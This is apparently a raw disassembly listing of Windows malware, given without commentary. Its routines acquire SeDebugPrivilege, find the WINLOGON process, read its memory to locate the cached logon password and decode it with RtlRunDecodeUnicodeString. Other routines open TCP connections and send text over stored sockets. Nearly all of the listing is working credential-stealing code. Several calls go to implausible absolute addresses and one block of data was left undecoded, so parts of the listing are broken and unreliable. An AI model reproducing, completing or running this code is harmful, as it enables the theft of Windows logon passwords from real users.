		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CAEDC
		lea	esi, [eax+2]
		push	esi
		call	sub_41B4D5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CAEDC
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_416CA1

loc_416C6D:				; CODE XREF: sub_416C28+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416C90
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B56
		add	esp, 10h

loc_416C90:				; CODE XREF: sub_416C28+54j
		push	esi
		call	sub_41AFE0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_416C6D

loc_416CA1:				; CODE XREF: sub_416C28+43j
		push	edi
		call	sub_41B0B1
		pop	ecx
		pop	edi
		pop	esi

loc_416CAA:				; CODE XREF: sub_416C28+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416C28	endp

; ---------------------------------------------------------------------------
byte_416CAD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+689Fo
		dd 49CEC81h, 458B0000h,	57565308h, 0A7B9h, 8DF08B00h, 0FFFD64BDh
		dd 0C7A5F3FFh, 29880h, 100h, 0EC858D00h, 50FFFFFEh, 42FFE8h
		dd 80DB3300h, 0FEEB05BCh, 595CFFFFh, 858D1475h,	0FFFFFEECh
		dd 42E6E850h, 88590000h, 0FEEB059Ch, 858DFFFFh,	0FFFFFDE8h
		dd 78E46850h, 858D0043h, 0FFFFFB64h, 20068h, 61E85000h
		dd 8300004Ch, 5D3910C4h, 532075F8h, 0FB64858Dh,	75FFFFFFh
		dd 858D50F4h, 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF2D2Eh
		dd 8D14C483h, 0FFFEEC85h, 8D5053FFh, 0FFFDE885h, 858D50FFh
		dd 0FFFFFD68h, 50F475FFh, 0FD64B5FFh, 5DE8FFFFh, 83000000h
		dd 8D5018C4h, 0FFFB6485h, 78C468FFh, 0E8500043h, 4B06h
		dd 390CC483h, 2075F85Dh, 64858D53h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFD6885h, 0B5FF50FFh, 0FFFFFD64h, 0FF2CCDE8h, 14C483FFh
		dd 0FB64858Dh, 0E850FFFFh, 0FFFFE3F8h, 0E8F075FFh, 0FFFF4656h
		dd 90535959h, 2D923BE8h, 5B5E5F02h, 81EC8B55h, 54CECh
		dd 57565300h, 104BEh, 1875FF00h, 0FDB8858Dh, 2868FFFFh
		dd 56004379h, 4B92E850h, 3D8B0000h, 427000h, 8D10C483h
		dd 0FFFEBC85h, 858D50FFh, 0FFFFFDB8h, 83D7FF50h, 4589FFF8h
		dd 93BCBBFCh, 71740042h, 0FEBC85F6h, 7410FFFFh,	0E8BD8054h
		dd 2EFFFFFEh, 0BD801275h, 0FFFFFEE9h, 80427400h, 0FFFEE9BDh
		dd 39742EFFh, 0FEE8858Dh, 8D50FFFFh, 0FFFCB485h, 1875FFFFh
		dd 0E8505653h, 4B30h, 8D1C75FFh, 0FFFCB485h, 75FF50FFh
		dd 1075FF14h, 0FF0C75FFh, 5DE80875h, 83FFFFFFh,	45892CC4h
		dd 0BC858D1Ch, 50FFFFFEh, 0E8FC75FFh, 2359180h,	75C08590h
		dd 0FC75FF8Fh, 339173E8h, 75FF9002h, 0B8858D14h, 0FFFFFFFDh
		dd 56531875h, 4ADEE850h, 0C4830000h, 0BC858D14h, 50FFFFFEh
		dd 0FDB8858Dh, 0FF50FFFFh, 83F08BD7h, 4F74FFFEh, 0FEE8858Dh
		dd 45FFFFFFh, 858D501Ch, 0FFFFFAB4h, 681875FFh,	43790Ch
		dd 20068h, 0A1E85000h, 6A00004Ah, 0B4858D01h, 0FFFFFFFAh
		dd 0FF501075h, 75FF0C75h, 2B7CE808h, 0C483FFFFh, 0BC858D28h
		dd 50FFFFFEh, 0F9E89056h, 85023590h, 56B175C0h,	3390EFE8h
		dd 458B9002h, 5B5E5F1Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416F1A	proc near		; DATA XREF: sub_401ACD+1CCFo

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41A8F4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_416F59
		cmp	eax, 2
		jz	short loc_416F59
		push	offset unk_437B00
		jmp	loc_417098
; ---------------------------------------------------------------------------

loc_416F59:				; CODE XREF: sub_416F1A+2Ej
					; sub_416F1A+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_417093
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 26B0C66h
		mov	esi, dword_4270BC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D3DEC, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D3DE0, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D3FF0, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D3DE8, eax
		call	esi
		mov	dword_4D3DE4, eax
		call	sub_4170EC
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_417066
		mov	esi, dword_42713C
		mov	edi, 400h
		mov	ebx, offset dword_4D2DE0
		push	edi
		push	ebx
		push	offset off_437A3C
		call	esi
		push	edi
		mov	edi, offset dword_4D35E0
		push	edi
		push	offset off_437A24
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D3FF8
		push	[ebp+arg_0]
		jnz	short loc_417012
		call	sub_417275
		jmp	short loc_417017
; ---------------------------------------------------------------------------

loc_417012:				; CODE XREF: sub_416F1A+EFj
		call	sub_41741C

loc_417017:				; CODE XREF: sub_416F1A+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41705F
		cmp	dword_4D3FF8, 0
		jnz	short loc_417046
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_4379C8
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 18h
		jmp	short loc_417079
; ---------------------------------------------------------------------------

loc_417046:				; CODE XREF: sub_416F1A+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_417056
		call	sub_417552
		jmp	short loc_41705B
; ---------------------------------------------------------------------------

loc_417056:				; CODE XREF: sub_416F1A+133j
		call	sub_4175E9

loc_41705B:				; CODE XREF: sub_416F1A+13Aj
		pop	ecx
		push	eax
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_41705F:				; CODE XREF: sub_416F1A+101j
		push	offset unk_437990
		jmp	short loc_41706B
; ---------------------------------------------------------------------------

loc_417066:				; CODE XREF: sub_416F1A+B6j
		push	offset unk_437964

loc_41706B:				; CODE XREF: sub_416F1A+143j
					; sub_416F1A+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_417079:				; CODE XREF: sub_416F1A+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 27A03F6h
		pop	ebx
		jmp	short loc_4170A6
; ---------------------------------------------------------------------------

loc_417093:				; CODE XREF: sub_416F1A+4Ej
		push	offset unk_437930

loc_417098:				; CODE XREF: sub_416F1A+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_4170A6:				; CODE XREF: sub_416F1A+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4170CD
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409A72
		add	esp, 14h

loc_4170CD:				; CODE XREF: sub_416F1A+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4151AC
		push	[ebp+var_18]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_416F1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4170EC	proc near		; CODE XREF: sub_416F1A+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427148
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D3DEC
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D3DEC
		test	eax, eax
		jnz	short loc_4171D9
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4171D9
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4171D9

loc_417175:				; CODE XREF: sub_4170EC+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4171CC
		push	0
		push	0
		call	dword_4D3DE0
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D3FF0
		test	eax, eax
		jnz	short loc_4171BD
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4171F1

loc_4171BD:				; CODE XREF: sub_4170EC+AAj
		test	edi, edi
		jz	short loc_4171C8
		push	edi
		call	dword_4D3DE8

loc_4171C8:				; CODE XREF: sub_4170EC+D3j
		mov	eax, [esp+28h+var_10]

loc_4171CC:				; CODE XREF: sub_4170EC+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_417175

loc_4171D9:				; CODE XREF: sub_4170EC+6Dj
					; sub_4170EC+7Aj ...
		xor	edi, edi

loc_4171DB:				; CODE XREF: sub_4170EC+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27B0000h
		nop
		mov	eax, edi

loc_4171E9:				; CODE XREF: sub_4170EC+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------

loc_4171F1:				; CODE XREF: sub_4170EC+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_41725A
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax

loc_417207:				; CODE XREF: sub_4170EC+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41726E
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41D5AA
		pop	ecx
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41724C
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax

loc_41724C:				; CODE XREF: sub_4170EC+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_417207

loc_41725A:				; CODE XREF: sub_4170EC+10Fj
		test	edi, edi
		jz	short loc_417265
		push	edi
		call	dword_4D3DE8

loc_417265:				; CODE XREF: sub_4170EC+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4171DB
; ---------------------------------------------------------------------------

loc_41726E:				; CODE XREF: sub_4170EC+13Cj
		xor	eax, eax
		jmp	loc_4171E9
sub_4170EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417275	proc near		; CODE XREF: sub_416F1A+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	near ptr 26907E6h
		nop
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_41729E
		xor	eax, eax
		jmp	loc_417419
; ---------------------------------------------------------------------------

loc_41729E:				; CODE XREF: sub_417275+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 27D027Dh
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427148
		push	8
		call	esi
		mov	edi, dword_427144
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_427150
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_4172EE
		xor	esi, esi
		jmp	loc_41740C
; ---------------------------------------------------------------------------

loc_4172EE:				; CODE XREF: sub_417275+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	near ptr 27C0BBBh
		nop
		test	eax, eax
		jz	loc_4173FB
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4173FB
		test	[ebp+var_2B], 1
		jnz	loc_4173FB
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4173FB

loc_417351:				; CODE XREF: sub_417275+112j
		push	edi
		push	offset dword_4D2DE0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417379
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D35E0
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417389

loc_417379:				; CODE XREF: sub_417275+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4173FB
		jmp	short loc_417351
; ---------------------------------------------------------------------------

loc_417389:				; CODE XREF: sub_417275+102j
		test	edi, edi
		jz	short loc_4173FB
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2760000h
		test	eax, eax
		jz	short loc_4173C4
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 27508E2h
		test	eax, eax
		jz	short loc_4173C4
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax

loc_4173C4:				; CODE XREF: sub_417275+12Bj
					; sub_417275+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4004, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D3FFC, eax
		mov	dword_4D4000, edi

loc_4173FB:				; CODE XREF: sub_417275+90j
					; sub_417275+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	esi, [ebp+var_10]

loc_41740C:				; CODE XREF: sub_417275+74j
		push	[ebp+var_4]
		call	near ptr 26708E6h
		nop
		pop	edi
		mov	eax, esi
		pop	ebx

loc_417419:				; CODE XREF: sub_417275+24j
		pop	esi
		leave
		retn
sub_417275	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41741C	proc near		; CODE XREF: sub_416F1A:loc_417012p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		nop
		call	near ptr 26907E6h
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41750E
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		nop
		call	near ptr 27D027Dh
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_417505
		mov	edi, dword_427148

loc_417467:				; CODE XREF: sub_41741C+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27C0BBBh
		test	eax, eax
		jz	short loc_4174F3
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4174F9
		test	[ebp+var_13], 1
		jnz	short loc_4174F9
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	short loc_4174E5
		push	offset dword_4D2DE0
		push	esi
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4174E5
		lea	eax, [esi+400h]
		push	offset dword_4D35E0
		push	eax
		call	sub_426762
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417515

loc_4174E5:				; CODE XREF: sub_41741C+9Fj
					; sub_41741C+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27B0000h
		nop
		jmp	short loc_4174F9
; ---------------------------------------------------------------------------

loc_4174F3:				; CODE XREF: sub_41741C+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax

loc_4174F9:				; CODE XREF: sub_41741C+71j
					; sub_41741C+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_417467

loc_417505:				; CODE XREF: sub_41741C+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26708E6h

loc_41750E:				; CODE XREF: sub_41741C+1Ej
		xor	eax, eax

loc_417510:				; CODE XREF: sub_41741C+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_417515:				; CODE XREF: sub_41741C+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D3FFC, ebx
		mov	dword_4D4000, eax
		cmp	[eax], cl
		jnz	short loc_417537
		cmp	[eax+1], cl
		jz	short loc_41753F

loc_417537:				; CODE XREF: sub_41741C+114j
					; sub_41741C+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_417537

loc_41753F:				; CODE XREF: sub_41741C+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26708E6h
		push	1
		pop	eax
		jmp	short loc_417510
sub_41741C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417552	proc near		; CODE XREF: sub_416F1A+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D3FF8
		push	esi
		mov	esi, dword_427148
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		call	near ptr 27C0000h
		nop
		mov	ecx, dword_4D3FF8
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4000
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4004
		push	eax
		call	dword_4D3DE4
		push	[ebp+var_4]
		mov	edi, offset dword_4D3DF0
		push	offset dword_4D2DE0
		push	offset dword_4D35E0
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	200h
		push	edi
		call	sub_41B980
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_417552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4175E9	proc near		; CODE XREF: sub_416F1A:loc_417056p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D3FF8
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 27C0B4Ch
		push	eax
		nop
		call	near ptr 27C0000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D35E0
		mov	edi, 200h
		mov	esi, offset dword_4D2BE0

loc_41762F:				; CODE XREF: sub_4175E9+FAj
		mov	eax, dword_4D3FF8
		add	eax, eax
		push	eax
		push	dword_4D4000
		push	[ebp+var_14]
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D3DE4
		mov	eax, dword_4D3FF8
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4176A4

loc_41766C:				; CODE XREF: sub_4175E9+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417690
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417690
		cmp	dl, 20h
		jnb	short loc_41768A
		and	[ebp+var_8], 0

loc_41768A:				; CODE XREF: sub_4175E9+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417694

loc_417690:				; CODE XREF: sub_4175E9+90j
					; sub_4175E9+96j
		and	[ebp+var_8], 0

loc_417694:				; CODE XREF: sub_4175E9+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_41766C
		cmp	[ebp+var_8], 0
		jz	short loc_4176C1

loc_4176A4:				; CODE XREF: sub_4175E9+81j
		push	[ebp+var_14]
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B4C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 1Ch
		jmp	short loc_4176D9
; ---------------------------------------------------------------------------

loc_4176C1:				; CODE XREF: sub_4175E9+87j
					; sub_4175E9+B9j
		push	offset dword_4D2DE0
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_437B9C
		push	edi
		push	esi
		call	sub_41B980
		add	esp, 18h

loc_4176D9:				; CODE XREF: sub_4175E9+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_41762F
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 27C0B4Ch
		push	eax
		nop
		call	near ptr 27B0000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4175E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417702	proc near		; CODE XREF: sub_4178BA+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_41777E
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_417763
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_41777E
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_417763:				; CODE XREF: sub_417702+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_417782
		push	edi
		call	dword_4CB00C

loc_41777E:				; CODE XREF: sub_417702+1Bj
					; sub_417702+58j
		mov	eax, esi
		jmp	short loc_417784
; ---------------------------------------------------------------------------

loc_417782:				; CODE XREF: sub_417702+73j
		mov	eax, edi

loc_417784:				; CODE XREF: sub_417702+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_417702	endp


; =============== S U B	R O U T	I N E =======================================



sub_417788	proc near		; CODE XREF: sub_401ACD+3294p
					; sub_401ACD+3300p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41BEC0
		pop	ecx
		mov	esi, offset dword_4D400C
		pop	ecx

loc_4177A0:				; CODE XREF: sub_417788+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4177BE
		cmp	dword ptr [esi], 0
		jbe	short loc_4177BE
		push	0
		push	edi
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_4CAFC4

loc_4177BE:				; CODE XREF: sub_417788+1Cj
					; sub_417788+21j
		add	esi, 210h
		cmp	esi, offset dword_4DA72C
		jl	short loc_4177A0
		pop	edi
		pop	esi
		retn
sub_417788	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177CF	proc near		; CODE XREF: sub_4178BA+155p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_42CA2C ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41C0F4
		pop	ecx
		mov	[ebp+var_20], eax
		pop	ecx
		lea	edi, [ebp+var_1C]
		push	7
		pop	ebx

loc_4177F4:				; CODE XREF: sub_4177CF+35j
		push	esi
		push	0
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	ebx
		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
